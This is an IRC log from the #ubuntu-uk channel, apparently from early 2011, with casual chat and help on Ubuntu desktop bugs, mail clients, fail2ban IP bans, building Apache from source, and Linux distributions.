<exobuzz> mostly i wish ubuntu didnt integrate "their" choice of apps as much as they do. i dont user the evolution calendar, so remove it from the panel..
<mungojerry> re: kaushal question, there's also a proxy app that can sit between exchange and your client to talk "exchange", i froget the name now tho
<BigRedS> mungojerry: nah, I meant tb. tb's always been freeze-happy for me, but now the searches take longer 'cause I keep getting the 'search everything' bar by mistake
<mungojerry> BigRedS: usually i use the tb3 "filter these messages" box, but occasionally use global search which isn't bad either, but used to be worse in lower versions
<mungojerry> how many gb's is your mailstore
<BigRedS> If I do the global search, it also does all teh folders i'm subscribed to, which is several million messages
<mungojerry> ugh
<BigRedS> 'cause it doesn't bother to do imap properly, and insists on having *every* message from the last ten years
<mungojerry> i turn off the download/store locally stuff
<BigRedS> yeah, even so it wants all those headers
<mungojerry> i used evo 24x7 against my zimbra server for a year, then switched to tb in 2010 & 2011
<mungojerry> evo used to crash on me all the time without a trace
<exobuzz> well. isnt it great we have a choice of FREE mail clients. so we can all use the ones we like ;-)
<mungojerry> especially when i went near the calendar
 * popey notes that kaushal has disappeared
<mungojerry> lol
<mungojerry> it's a bit like asking for directions in a room full of men
<screen-x> mungojerry: ask the question, wait for them to start arguing about the best route, then run away?
<exobuzz> a friend sent me an animated gif that killed my evolution dead some years back. was a gtkhtml or something issue i guess.
<screen-x> exobuzz: thats a compatibility feature with outlook
<exobuzz> heh
<exobuzz> still got the gif! http://malus.exotica.org.uk/~buzz/animated.gif
<exobuzz> tis a lot of frames
<screen-x> sfw/
<exobuzz> yeh it's safe
<exobuzz> tis the whole intro sequence to turrican 2 as a gif anim ;-)
<exobuzz> the same gif also brought down mediawiki
<screen-x> chrome seems ok with it
<exobuzz> yeh the browsers seemed happy.
<exobuzz> mediawiki used imagemagick and it decoded it in ram frame by frame. wasnt very happy
<mungojerry> vmware-tools insists on creating a xorg.conf even when X isn't installed :(
 * BigRedS is reminded of mongodb
<BigRedS> that pulled in a shedload of x-dependent bits and pieces
<mungojerry> was there a webos tablet launch yesterday?
<popey> i saw a video of an HP one on click.
<popey> from mobile world congress
<popey> but they wouldn't let the reporter use it
<screen-x> the hp touchpad isnt released
<mungojerry> i reckon if i had a tablet i'd get one of these things to go with it : http://www.senacases.com/apple/apple-ipad-cases/keyboard-folio/
<mungojerry> (minus the ipad)
<screen-x> atrix style
<davmor2> popey: do me a favour open up gwibber drag you scrollbar to the bottom and then use your mouse/trackpad to scroll down again is it the top of you feeds again only at the bottom?
<popey> davmor2: at work, no ubuntu, sorry
<popey> davmor2: i have filed a bug about it
<popey> i bugged ken about it and he said he'd take a look
<davmor2> popey: I thought that was it showed as you scrolled
<popey> its various manifestations of the same thing IMO
<davmor2> ah okay :)
 * mungojerry has no unity launcher or panel today :(
<mungojerry> after running last nihts updates
<mungojerry> unity --reset doesn't fix either
<MartijnVdS> back to classic gnome :)
<davmor2> mungojerry: ditto
<mungojerry> davmor2, makes me feel better :)
<davmor2> ubuntu1 is going potty too
<mungojerry> how can i stop u1?
<popey> u1sdtool mungojerry
 * czajkowski dislikes disorder
<screen-x> cat /stuff/cz* |sort
 * czajkowski sends screen-x to the naughty step with davmor2 and MooDoo 
<screen-x> wut? I was being helpful..
<mungojerry> arggh i wish alt-f2 worked in unity
<screen-x> it dosen't? is there an alternative?
<davmor2> screen-x: My job to annoy czajkowski your job to calm and sooth don't mix them up it confuses her else bless ;) (that should get you off the naughty step incase I become a bad influence)
<screen-x> mungojerry: does gnome-do work?
<AlanBell> mungojerry: https://wiki.ubuntu.com/Unity/KeyboardShortcuts
<screen-x> "special mode" haha
<mungojerry> AlanBell: thanks but launcher is not appearing right now
<popey> :( 500 error on the wiki
<popey> le sigh
<mungojerry> gonna revert to classic mode :)
 * popey notes that some of those features dont work
<mungojerry> unity-panel-service: no process found: ...
<AlanBell> mungojerry: if you or anyone else discover additional keystrokes please add to that page
<mungojerry> sure
<gord> woo, only have to be at uds for three days this time, traveling during the week \o/
<SuperMatt> guys, is there a nice easy way to dump your current PPAs to a file so I can get it back later?
<dogmatic69> cp path/to/ppa path/to/tmp
<SuperMatt> I don't know where ppa information is stored
<dogmatic69> i cant remember right now either, but i was deleting some the other day
<dogmatic69> its just a bunch of txt files
<Tommeh> SuperMatt: Just backup /etc/apt/sources.list & /etc/apt/sources.list.d/
<Tommeh> Unless you've added PPAs manually via editing the sources.list, you should find that the sources.list.d directory contains all of your PPA information.
<SuperMatt> tbh, I've looked at my ppas and there's only a couple I really need, so I've marked them down
<SuperMatt> cba to copy info
 * mungojerry is debugging latex documents :(
<Tommeh> SuperMatt: in some cases, all you need is a mental list :)
<daubers> Afternoon
<daubers> Anyone a genius with python and TarFile?
<Tommeh> Isn't there a #python for that? :)
<Tommeh> I mean, if you're really trying to narrow down the ones that know the most about python.
<daubers> Tommeh: Yeah, not really had much like in #python
<Tommeh> Ahh
<mungojerry> from what i've seen #ubuntu-uk is the place to go with windows problems, food hygeine, and android issues :)
<mungojerry> i hear it's better than google+wolfram alpha for producing worthwhile results :)
<Tommeh> I must remeber to debug the firmware issues in my routers here next time :p
<gord> woo another angry letter from tv licensing because i don't want to watch tv
<mungojerry> the iplayer thing sure is a big loophole
<gord> i don't even use that
<mungojerry> :)
<dwatkins> I thought you needed a license to watch iPlayer?
<gord> they just don't seem to understand what "i don't watch broadcast tv" means
<daubers> gord: Ring them up and threaten them with action because the bad wording of the letter suggests you must pay a licence even if you don't have a TV
<daubers> gord: WFM :)
<kvarley> dwatkins: Only the live streams
<kvarley> dwatkins: The ondemand stuff doesn't come under the tv license I dont think
<dwatkins> kvarley: aha I see
<mungojerry> for the memory
<mungojerry> s/memory/moment
<kvarley> dwatkins: Not sure though, we have a TV license anyway
<dwatkins> kvarley: I just moved my license with me when I moved house, the BBC is good enough I feel it's only fair to pay for it
<kvarley> dwatkins: Ah ok, they are good but could be better :P
<mungojerry> think the bbc shouldn't produce tosh though
<kvarley> dwatkins: Proper support for linux would be nice
<mungojerry> populist trash soaps etc aren't exactly what the bbc was created for
<kvarley> Their air installer never, ever, worked for me :/
<mungojerry> if it was called ilinux you'd be sure it got the support it deserved
<mungojerry> the android app is really poor too
<kvarley> It's basically just their website
<kvarley> mungojerry: It's alright I guess but the fact it uses flash means it crashes half way through a tv episode usually
<mungojerry> get_iplayer is what u need
<kvarley> And you have to have the screen turned on while using the app which is annoying when you want to listen to the radio
<kvarley> mungojerry: Yes indeed
<mungojerry> actually flash has improved latetly
<daubers> Woot!
<daubers> Finally got the damn thing to do what I want
 * daubers puts the sledgehammer away
<mungojerry> until recently the flash player would pop out of full scren every 5 mins
<dwatkins> kvarley: I suspect it's just a matter of browser market share that means linux isn't supported (although that's probabyl a chicken and egg situation)
<mungojerry> and also the decision makers at the bbc are trendy isheep who don't realise that standards and open-friendly stuff is important
<mungojerry> doc files clicked from the internet now open in my firefox browser, i've been wanting this for years :)
<mungojerry> i just never realised it was possible
<kvarley> mungojerry grats
<kvarley> dwatkins: hehe...iSheep
<dwatkins> kvarley: I havn't had any problems with iplayer in the last couple years from linux
<BigRedS> What's the current favourite for a small plug server?
<BigRedS> Er, I meant cheap. Small is sort-of implicit in the term 'plug server'
<danfish> BigRedS: guruplug
<BigRedS> danfish: hah, that's the only one I've found so far, too :) cheers!
<andylockran> howdy
<danfish> BigRedS: :)
<danfish> o/ andylockran
<andylockran> hows things?
* popey changed the topic of #ubuntu-uk to: Welcome to #ubuntu-uk! http://ubuntu-uk.org | This channel is publicly archived: http://irclogs.ubuntu.com | Mailing List:  http://tinyurl.com/uukml | Support Guidelines - http://tinyurl.com/uuksupport | Meeting Thursday March 3rd 21:00 GMT in #ubuntu-uk-meeting  http://tinyurl.com/uukmeet | Windows problems, food hygeine, android issues.
<andylockran> please don't kick me
<andylockran> phew
<popey> also
<popey> (
<andylockran> what's up ?
<Laney> )
<X3N> BigRedS: have you looked at pogoplug?
<andylockran> popey: does banshee eat CPU on your machine?
<andylockran> just disabled a few of it's plugins, and that's stopped the fan spinning :)
<popey> andylockran: i do not use banshee
<popey> i use spotify
<andylockran> me also, however, some of my local mp3s are playing doubletime in spotify
<andylockran> ah, actually, all my mp3s are playing doubletime
<BigRedS> X3N: nope. I have noted that openWRT does pretty much all I want a plug server to do though...
<BigRedS> ooh, it's certainly prettier
<ali1234> bug 396268
<lubotu3> Error: Could not parse data returned by Launchpad: list.index(x): x not in list (https://launchpad.net/bugs/396268)
<ali1234> bug 396268
<lubotu3> Launchpad bug 396268 in banshee (Ubuntu) "Banshee uses too much CPU" [Medium,Triaged] https://launchpad.net/bugs/396268
<ali1234> \o/
<daubers> 5000328623092
<daubers> oops
<mungojerry> daubers: is that your credit card number?
<andylockran> I'm guessing it _was_
<AlanBell> it isn't
<AlanBell> fails luhn check
<daubers> Nope, someone gave me a barcode reader to play with
<daubers> I now have a document with every barcode in sight in it :)
<mungojerry> i need one of those to inventorize my book collection
<daubers> I think thats th barcode for some walkers crisps
<daubers> 000200437774
<daubers> 000200437774
<daubers> 000200437774
<daubers> 000200437774
<daubers> 000200437774
<daubers> Blast, wrong focus
<andylockran> 4929492949294929
 * DJones kicks daubers for spam
<daubers> Sorry :(
 * andylockran has a barcode reader to hand :)
<daubers> Focused on the wrong window
<gord> i learnt the other day that barcodes actually just have the data they contain written underneath them
<gord> i mean, i knew that sometimes the shop people put in numbers, but i thought they were just *magic* numbers that only they knew
<mungojerry> lol
<mungojerry> andylockran are you using the podcast extension as per the banshee bug
<mungojerry> my banshee uses 10% cpu
<ali1234> the BPM plugin also causes high CPU
<mungojerry> i disable that one too,
<ali1234> you basically have to disable all plugins
<mungojerry> i disable everything i would never use
<ali1234> also 10% CPU is still obscenely high for an MP3 player
<kaushal1> Hi
<kaushal1> popey: back again
<kaushal1> sorry was away for sometime
<kaushal1> Please let me know about the post to the ubuntu users mailing list
<mungojerry> ali1234, i disabled some plugins,...now 5%
<mungojerry> i'm more concerned about my firefox spiking up to 50%
<ali1234> nvidia?
<popey> kaushal1: if you're going to ask a question, you might want to hang around for the responses
<mungojerry> intel
<popey> kaushal1: if you look at the logs for this channel you'll see people asked some further questions
<popey> !logs
<lubotu3> Official channel logs can be found at http://irclogs.ubuntu.com/ . LoCo channels are now logged there too; for older LoCo channel logs, see http://logs.ubuntu-eu.org/freenode/
<kaushal1> what does one mean by reclaim the inbox in Thunderbird ?
<mungojerry> rhythmbox is using more CPU than my banshee
<popey> kaushal1: its marketing
<kaushal1> still not clear
<BigRedS> it's just Thunderbird's slogan
<popey> its just a marketing term for "use thunderbird"
<popey> it doesn't _mean_ anything
<kaushal1> oh ok
<popey> other than "We're better"
<kaushal1> popey: thanks
<ali1234> still waiting for someone to make a desktop email client that is better than gmail's web interface
<BigRedS> I find gmail's 'threading' _really_ irritating
<popey> i love it
<ali1234> i find evolution's "inbox soup" really irritating
<popey> tasty
<BigRedS> yes, I don't particularly like any other client, though :)
 * TheOpenSourcerer very rarely uses gmail's web interface. It's  Thunderbird and K9 for me :-)
<kaushal1> whats K9 ?
<TheOpenSourcerer> Android email client
<popey> http://www.apple.com/uk/thunderbolt/
<kaushal1> oh ok
<popey> ooooo
<gord> also a dog
<davmor2> kaushal1: it's a dog in dr who
<popey> which is funny because...
<popey> 14:30:36 #ubuntu-community-team: < jcastro> BARK BARK HELLO POPEY BARK BARK
<TheOpenSourcerer> It was a robot. Not a real dog.
<popey> jcastro is also a dog
<gord> uuugh BAD APPLE
<gord> no
<gord> we just started standardising on usb, lets not screw it up again :(
<davmor2> TheOpenSourcerer: Shhhhh he's got ears doth he not hear
<AlanBell> popey: throw your mac away, here comes a new one
<ali1234> "Thunderbolt enabled products are compatible with existing DisplayPort  devices so you donât have to go buy a new display to take advantage of a  Thunderbolt technology enabled computer." - unless your monitor only has DVI, VGA, and HDMI
<mungojerry> arggh
<mungojerry> sick of apple
<popey> AlanBell: clearly
<ali1234> it's an intel invention
<mungojerry> "apple were instrumental in popularising usb"??
<mungojerry> as i recall, devices used to be firewire only didn't they?
<ali1234> yes
<shauno> I do believe they were the first vendor to ditch legacy ports completely  (where fw isn't legacy ;)
<ali1234> apple was basically the only computer that came with firewire as standard
<gord> yes but it sounds bad to say "we made firewire and then usb beat us"
<mungojerry> lol
<ali1234> everyone else had to buy a PCI card
<ali1234> gord: exactly, yeah
 * AlanBell has a video camera with firewire, and a laptop without :(
<mungojerry> even now, they hardly give many usb ports on their devices
<shauno> everyone thought they were crazy when they ditched floppies, and moved mice & keyboards to usb.  and now they pretend it never happened :)
<ali1234> nobody puts enough damn USB ports on their devices
 * BigRedS 'only' has three usb sockets on his laptop, and still hasn't managed to run out
<gord> i ahve one usb socket on my netbook, still not run out there either
<mungojerry> apple users have been conned into thinking usb doesn't matter because they can buy apples wireless bluetooth keyboard, etc
<ali1234> when you plug your laptop into a keyboard and mouse, then you only have 1 port left
<ali1234> in the case of my netbook, that port is used by the bluetooth donle
<ali1234> so then i can't plug in a usb flash drive
<shauno> I don't think I've been conned at all.  and I find being told what I'm thinking to be rather offensive.
<gord> if i enable bluetooth on my netbook the wifi doesn't work... so i don't use bluetooth
<ali1234> reverse here
<ali1234> wifi is too unreliable, so i always use bluetooth for transfering files
<BigRedS> ali1234: that I can understand, but I never plug in a usb keyboard, and very rarely a mouse
<BigRedS> the last time I had a laptop as my main PC, and so did want that, I had a usb hub that connected all the gubbinses in one go
 * daubers forsees the new MacBooks having Mobos riddled with issues due to esseintially having two northbridge chips to take advantage of this new connector
<shauno> BigRedS: that's pretty much what I do.  a poor-man's docking station :)
<ali1234> i haven't run out of usb ports on my desktop yet, but specifically bort a motherboard with 12 USB sockets and firewire
<ali1234> bort?
<ali1234> really?
<BigRedS> shauno: hah, yep. I did know someone who, with duct-tape and cardboard wedges, aligned all his plugs along the back of his desk so he could just slide his laptop back into it and everything was plugged in :)
<gord> bort is a perfectly cromulant word
<shauno> BigRedS: hah, I haven't gone that far.  but moved as much as I sensibly could onto a hub so I don't have to replug 8 devices
<Mez> is it just me, or are natty's notifications missing the bottom and right fades?
<gord> Mez, works fine here
<andylockran> Mez: what driver are you using?
<Mez> intel, afaik
<Cepheus> my desktop is economy; I have 6 USB ports and no firewire
<gord> Mez, screenshot?
<Mez> gord, just pushing it now
<Mez> http://img41.imageshack.us/i/screenshotbd.png/
<Mez> ok, is imageshack stupidly slow?
<gord> tis
<Mez> Well, the image is there anyway
<gord> waiting for the zoomed in view... wonder if it will ever load
<Mez> http://ubuntuone.com/p/en4
<andylockran> how to kill ubuntu one in natty?
<gord> Mez, i asked, its a known bug. it'll be fixed in the next release ;)
<popey> andylockran: define kill
<andylockran> at the moment I log in and i just get the background
<andylockran> ubuntuone-syncd is going crazy
<Mez> gord... in... orange orangutan ? (or whatever)
<andylockran> yet each time i kill it, it comes back :)
<gord> Mez, next notify-osd release :P
<Mez> gord :D
<gord> hopefully this weekend
<andylockran> is there a cli interface to prevent auto-login ?
<davmor2> andylockran: it's an issue with lib unity apparently should get fixed soonish
<Mez> ew.... auto-login ?
<Mez> andylockran: yesterday I had a notifcation every 10s that ubuntu one couldn't gonnect to server.
 * Mez slaps aquarius
<davmor2> andylockran: just click on the don't notify on reports from this app and it will stop
<andylockran> davmor2: sure - that's what i've done - but nothing loads past showing the wallpaper
<andylockran> it's a very nice wallpaper (not my face) - but I could do with some 'added functionality'
<davmor2> andylockran: that's the libunity issue,  hit the power button restart, when you click on you're name at gdm change the drop down to classic desktop for now
<andylockran> davmor2: how do I disable auto-login :p
<gord> or ctrl+alt+f1 - type unity
<davmor2> gord: no it's broken
 * Mez hasn't bothered with unity.
<andylockran> yeah, core dump on accessibility loading
<Mez> Its confusing as hell for me.
<gord> really? i don't get that
<Mez> I should report bugs on it really... but meh
<Mez> btw
<gord> upgraded lately?
 * Mez slaps davmor2
<andylockran> moi, I upgraded at lunchtime
<davmor2> Mez: what for?
<Mez> gord, yes.  This is a fresh install from a couple of days ago.
<Mez> gord: simply put, it only allows me to find an app by searching, but doesn't allow me to search...
<andylockran> Can someone goole how to disable auto-login.. I've got no other machine to hand...
<gord> Mez, not you :P
<Mez> (confusing description, but meh)
<Mez> davmor2: for being you :P)
<gord>  i don't need opinions on unity today
<andylockran> no worries
<andylockran> it's in the gdm/custom.conf file I think.
<Mez> andylockran: vim /etc/gdm/gdm.conf
<gord> andylockran, load up a vt, type DISPLAY=:0 gnome-panel
<gord> and maybe DISPLAY=:0 metacity --replace
<andylockran> gord: yeah, tried that.. disabled auto-login in custom.conf and was able to change session
<andylockran> thanks for your help
<popey> i have discovered a new jolly jape
<popey> you know those sugar sachets you get from restaurants
<popey> you can feed one through the gap in the hinge of co-workers laptop
<popey> then the sugar goes through the gap, and you end up with a bulb of sugar on both sides
<popey> you can't pull it through, and can't push it through
<popey> sugar everywhere over laptop
<popey> \o/
<gord> non of our laptops will ever be safe again
<andylockran> popey: I hope you filed a bug.
<DJones> daubers: Something like that, I think popey is the bug
<DJones> That was for andylockran
<daubers> DJones: I wondered...
<popey> yay!
<popey> sugar all over laptop
<BigRedS> sweet!
<BigRedS> today is obvious joke day
<dogmatic69> anyone played urban terror?
<andylockran> dogmatic69: too soon
<gord> dogmatic69, i think i tried it many many years ago
<dogmatic69> i just downloaded it...
<dogmatic69> http://oi53.tinypic.com/28arcsp.jpg
<gord> dogmatic69, run it in a window and maximise it, sdl sucks with multiple screens and does that
<dogmatic69> gord: if i make it not full screen then its a little box and has no maximize button, just minimize and cloase
<dogmatic69> close
<gord> dogmatic69, increase the resolution in its options then
<dogmatic69> 1600xwhatever
<dogmatic69> that made it smaller o.o
<andylockran> popey: geteting some strange behaviour in spotify
<popey> good good
<popey>  /join #spotify
<popey> :)
<andylockran> ta
<popey> they are nice
<andylockran> ta
<diplo> Some advice guys, not overly ubuntu related but could be :)
<diplo> We have some web hosting, after 3 failed htpasswd failure attempts they ban the IP
<diplo> We don't want that, not sure how they are doing it, any suggestions on how they are doing it and secondly
<diplo> Any ideas on a way of overiding with htaccess ??
<diplo> Ta fanx
<andylockran> fail2ban/denyhosts ?
<andylockran> ah, in apache?
<diplo> yeah
<diplo> So our customer is trying to login, failed 3 times with htpasswd and the web hosts banned the IP
<diplo> So want to over ride there settings
<Tommeh> diplo: could be something like Atomic Secured Linux
<Tommeh> Difference is that will (I believe, by default) lift the block after 10 minutes.
<dwatkins> Sounds pretty severe to ban an IP like that; I could understand it with ssh, although I'd increase the threshold to 10.
<Tommeh> Depends highly on the hosting
<Tommeh> If you've got IPs routinely trying these all day long, it's a big drain on resources (not to mention what might happen if someone gets through)
<Tommeh> Though having an outright, infinite rule again the IP, is a little bit OTT, in my eyes.
<Tommeh> *against
<BigRedS> diplo: you'll probably find that the block happens too early - the connection never gets as far as apache so there's nothing a .htaccess file can do
<diplo> Exactly what I said to my colleagues dwatkins, fail2ban seems to read apache/error_log
<BigRedS> fail2ban defaults to a 10 minute ban
<diplo> So I'm guessing it reads the thaccess failures and then adds to iptables ban
<BigRedS> yeah
<diplo> This is permanent
<diplo> :/
<BigRedS> no, ten minutes later it removes the iptables rule
<BigRedS> (by default)
<diplo> Have to ask them to remove, just about to read up and see if there is way of whitelisting certain IP's rather than keep removing from blacklist
<diplo> nah I mean the our hosts it doesn't remove it after 10, it's still there a day or so later
<BigRedS> ahh, yeah, you can make it do that, which is slightly dumb :)
<diplo> Yep, exactly what we said :P
<BigRedS> It's odd, though - Fail2ban, when it works (and it does with apache) is pretty effective by default
<BigRedS> it keeps track of bans, so if the same IP address keeps getting banned, the bans get longer
<BigRedS> they've actively broken it
<diplo> So may not be fail2ban, could be as tommy says be Atomic Secured or somethng
<diplo> Not being overly helpful, but I can't stop customers being stupid @ typing
<diplo> :P
<BigRedS> hah, yeah. really, not letting you whitelist stuff is generally pretty dub
<BigRedS> *dumb. 'cause they'll just get yet more support requests from you asking for unblocks
<dwatkins> I assume you can't just change source IP address, diplo
<diplo> Nope, but I was just wondering whether if I add "allow from x.x.x.x" into the local htaccess that it won't log failures
<BigRedS> diplo: I don't think you can do http auth only to some IP addresses in pure apache
<BigRedS> that'd be approximately what you're after, though
<dwatkins> yeah, assuming it's processing the apache log, then if you can stop it logging failure, you're sorted
<dwatkins> assuming you want to stop it logging all attempts to break in...
<mungojerry> i have many users logging into server with fail2ban enabled - never had any complaints
<diplo> yeah, this is basically just stopping our customers  customers looking at the site till it's ready
<mungojerry> plus it does block a lot of jerks too..or at least limit them
<diplo> I totally understand it for ssh/email protocols etc but for htpasswd I think it's just dumb, at least failure @ 3
<mungojerry> so u think they are trawling the logs and running a cron script to ban via iptables?
<dwatkins> diplo: can you call the hosting people to discuss it?
<Tommeh> <diplo> So may not be fail2ban, could be as tommy says be Atomic Secured or somethng
<Tommeh> Probably not, but worth asking.
<diplo> Colleague already has and basically won't do jack
<diplo> :P
<dwatkins> diplo: that sounds like cause to consider switching hosting services, you should be able to escalate to someone who at least cares
<mungojerry> sounds like classic british customer service :(
<Tommeh> Ahem
 * Tommeh is British and works for a hosting company
<Tommeh> I therefore take offence ;)
<jpds> Tommeh: Just another generalisation.
 * dwatkins is British also
 * dwatkins even works in customer services, so is doubly offended
<diplo> I'd love to move, but don't want to move 80+ sites to find the nex tcompany is the same
<diplo> Tommeh, who do you work for :) Someone worth recommending ?
<daubers> Serious "Someone stop me wanting to attack this thing with a hammer" question
<dwatkins> diplo: I could reccomend you a b2b hosting company, but I think my friend sold the business, so I wouldn't want to do so then for you to find it's the same as the company you're using.
<daubers> I'm trying to control a tape drive through python with the ioctl commands, but getting no sense out of any of it
<daubers> What the hell should I be doing?
<Tommeh> diplo: dropped you a private message to avoid spamming the channel
<diplo> ta
<mungojerry> OT: "A woman in Brazil was  shocked to find an alligator hiding behind her sofa after heavy rains  flooded her house in the town of Parauapebas, in Para state.  She said she was alerted to the reptile's presence by her three-year-old son,  who was patting its head.  "
<popey> heh
 * mungojerry thinks his son would do the same..
<popey> daubers: poking /dev/nmt type stuff?
<Amanda__> Hi :)
<Amanda__> I'm trying to compile Apache2 from source, when I come to the ./configure part, how can I use the same structure as the default one in ubuntu/debian?
<Myrtti> is there a specific reason you're compiling it from source?
<directhex> you can read the package's debian/rules file to see what it passed to configure
<Amanda__> Myrtti: to play with the latest version
<Myrtti> right.
<Amanda__> directhex: is that, "./debian/rules binary" without the quotes
<directhex> Amanda__, that's in order to execute one of the targets in debian/rules, which is a makefile.
<directhex> Amanda__, if you open it in a text editor, you can read it to see what it's doing (likely in a configure or configure-stamp rule)
<Amanda__> directhex: ill have a look, thanks
<shauno> hm, that's fun.  apt-get source apache says to use 'bzr get http://code.launchpad.net/ubuntu/+source/apache2' to grab the latest.  running that tells me it's not a branch
<Amanda__> directhex: do i open the rules file?
<directhex> <directhex> Amanda__, if you open it in a text editor, you can read it to see what it's doing (likely in a configure or configure-stamp rule)
<Amanda__> directhex: sorry, where is the file please?
<directhex> download the source package
<andylockran> which software can be used to play blu-ray on ubuntu?
<popey> VLC?
<shauno> I really hope there's backups, because this sounds like it's sizing up to be an educational experience ;)
<X3N> Amanda__: why not just install it with the default options?
<bigcalm> andylockran: https://help.ubuntu.com/community/RestrictedFormats/BluRayAndHDDVD
<X3N> sudo apt-get build-dep apache2 && ./configure --prefix=/usr
<popey>  /usr?
<popey> rly?
<X3N> that's the prefix that the package would install into
<mungojerry> /usr/local/apache surely?
<shauno> which is why it's a bad idea.  it'll take forever and a day to clean that up enough to have the package install sensibly in future
<X3N> you can just reinstall from the package..
<X3N> make uninstall if you want to as well
<Amanda__> X3N: thanks but I just want to compile the latest apache2 with the same ./configure as the debian/ubuntu install does :)
<mungojerry> x3n you should never overwrite software shipped with the OS with custom compiled stuff
<shauno> I'd be more tempted to grab the source package from natty, and try to rebuild the .deb's on the current platform.  apache's not a simple package.  it's not even a single non-simple package.  fighting dpkg on home turf is never going to be pretty.
<shauno> http://packages.ubuntu.com/natty/apache2 is 2.2.27, which is the latest on httpd.apache.org.  sources on the right.  take full advantage of the work the regular maintainer have already done.
<shauno> er, 2.2.17
<X3N> mungojerry, I compile software for my system all the time...
<shauno> still not sure this is something I'd do just to get from .16 in maverick to .17 current ;)
<X3N> if you compile and install an older version then yes, you'll get problems
<X3N> and obviously if you use the package updates it'll overwrite your compiled version
<Laney> â¥ seesmic in chromium --app mode â¥
<Amanda__> shauno: how can you use natty apache2 on maverick?
<shauno> grab the source package & build it
<popey> is it worth it?
<daubers> popey: Yup, it's horrid
<daubers> re:tape stuff
<popey> maverick has 2.2.16, natty has 2.2.17
<daubers> dealing with all the structs is a bit of a pain, and figuring out what the IO commands are is also a bit of a pain
<Amanda__> popey: i like bleeding edge
<Amanda__> updates
<popey> what does 2.2.17 give you that 2.2.16 didnt have?
<popey> http://changelogs.ubuntu.com/changelogs/pool/main/a/apache2/apache2_2.2.17-1ubuntu1/changelog
<popey> doesnt look worth it
<popey> just for a number
<Amanda__> a higher version number
<popey> http://www.apache.org/dist/httpd/CHANGES_2.2.17
<popey> and the administrative overhead that you will have to rebuild it bugs / security updates require it
<popey> sounds OCD to me
<Amanda__> ocd?
<popey> Obsessive Compulsive Disorder
<popey> people who want the latest version of stuff with no discernable reason other than "it's a higher number" smack of OCD to me
<MartijnVdS> CDO, at least put the letters in the correct order 8-)
<popey> MartijnVdS: last time someone cracked that joke, I spat port at them
<popey> (as I laughed)
<Amanda__> o.o
<popey> Amanda__: http://stackoverflow.com/questions/130894/how-to-build-a-debian-ubuntu-package-from-source
<Amanda__> I think ill just accept defeat
<popey> It's not hard to do
<popey> I have rebuild newer packages before, very easily
<davmor2> Amanda__: Don't forget that the version in maverick has all the security updates backported to it and there is no guarantee that the natty version won't rely on something not available in maverick
<popey> It's mostly just a pointless waste of time though :)
<shauno> certainly not worth it just to get a bigger number.  if you had something specific you were trying to test, maybe
<popey> well, it's a learning exercise, if nothing else
<shauno> just tried it myself, it's complaining my version of libssl-dev is too old
<shauno> eg, it's not going to be a non-minimal task to satisfy it
<popey> you could use pbuilder :)
<dutchie> pbuilder is cool
<popey> it is
<shauno> well, that machine is actively using libssl for things I'd rather didn't fall over :)  so I'm not going to push any further than idle curiousity
<popey> :)
<shauno> I'd pop open a fresh vm if it was going to be useful, but I'm not sure this is :)
<Amanda__> why does ubuntu not have mysql 5.5.9?
<Amanda__> only 5.1
<Azelphur> Sigh, ordered stuff from deal extreme nearly 2 weeks ago and it hasn't even left the warehouse yet :/
<popey> Amanda__: https://bugs.edge.launchpad.net/ubuntu/+source/mysql-5.1/+bug/690925
<lubotu3> Ubuntu bug 690925 in mysql-5.1 (Ubuntu) "Package MySQL 5.5.x for Natty" [Wishlist,In progress]
<popey> because nobody has packaged it yet
<shauno> Azelphur: 2 weeks ago would have been just before chinese new year?  I'd poke 'em & make sure it hasn't been forgotten about over the holiday
<Myrtti> popey: nice aversion ;-)
<andylockran> anyone use lovefilm ?
<Azelphur> shauno: yea, I just poked em
<popey> I like surprises from there
<popey> i order stuff then forget about it
<Azelphur> haha
<popey> i have ordered some proper tat from DE
<shauno> that's what they're best at :D
<Azelphur> omg, they have a ninja mask :o http://www.dealextreme.com/p/thermal-fleece-one-hole-balaclava-facemask-53822
<Myrtti> hee, my sodastreamer dandelion&burdock concentrate has been shipped today
<popey> I ordered some Hulk Smash gloves
<Amanda__> popey: is mysql the only available database programme?
<popey> utterly pointless
<shauno> I got my pirate flag from DE :)
<Azelphur> win \o/
<Myrtti> nevermind that the shipping doubles the price, want d&b!
<popey> Amanda__: no
<popey> Amanda__: its one of the most common ones
<Azelphur> haha, they have a G2 ripoff, http://www.dealextreme.com/p/a5000-lcd-touch-screen-android-dual-sim-dual-network-standby-quadband-gsm-tv-cell-phone-56402
<popey> they have some awful cheap tablets
<shauno> Amanda__: http://en.wikipedia.org/wiki/List_of_relational_database_management_systems   knock yourself out.   mysql 5.1 is perfectly functional tho, and postgre is the "runner up" (debatably better at some tasks, but less mindshare).
 * Azelphur looks
<Myrtti> mmmm d&b
<Amanda__> thanks
<shauno> Amanda__: I would warn tho, that striving to have the absolutely latest version of everything is liable to come back to bite you.  it's called the 'bleeding edge' for a reason
<ali1234> i thought postgre was generally considered to be better than mysql
<popey> i think he meant in mindshare
<popey> not in features/performance
<ali1234> right, it's the betamax to mysql's vhs
<popey> yes
<popey> the squarial to mysql's dish
<shauno> ali1234: bingo.  mysql's winning feature for me, is that it's available on every 2-bit host going
<Azelphur> $93 is their cheapest, not bad :)
<shauno> postgre is better at most other tasks, but mysql wins at availability
<popey> Azelphur: see if you can get one that will run a PS2 EMY :)
<popey> *emu
<Azelphur> haha
<Azelphur> I see a $129 one with an ARM 11 800Mhz
<Azelphur> that might do it, specially if you overclock
<Amanda__> I think the reason I've been going with bleeding edge was because i was brought up on windows
<shauno> the key difference is that for changes that really matter (generally security & obvious stability fixes), they're merged back into the packages being currently shipped
<dutchie> Amanda__: in unix-land, "stable" really does mean stable (most of the time)
<dutchie> ;)
<Amanda__> why is there so many linux disto's with most having the same software
<Amanda__> seems a bit silly that
<ali1234> because nobody can agree whether the window buttons should be on the left of the window, or the right of the window
<ali1234> etc
<Amanda__> take linux mint, the only difference that i can see is the start menu, so why not make it a package instead of another os
<Tommeh> Mint has a bit of a different philosophy too. From what I remember, it includes non-free software.
<ali1234> hmm... make a package? would that be deb, rpm, ebuild, or tarball?
<Tommeh> Out of the box.
<ali1234> if you pick the distro that is closest to what you want it saves a lot of time customizing everything
<Myrtti> "install gentoo"
<TheOpenSourcerer> Amanda__: Take a look at this map - There are quite a few distributions http://futurist.se/gldt/wp-content/uploads/11.02/gldt1102.svg Most are made for a specific purpose or to scratch someone's itch. It's Free Software so you can...
<TheOpenSourcerer> PS - You might need to change the zoom level a tad.
<TheOpenSourcerer> ROTFL: http://www.damnvulnerablelinux.org/
<shauno> hah, I hadn't seen that chart before.  both awesome and terrifying
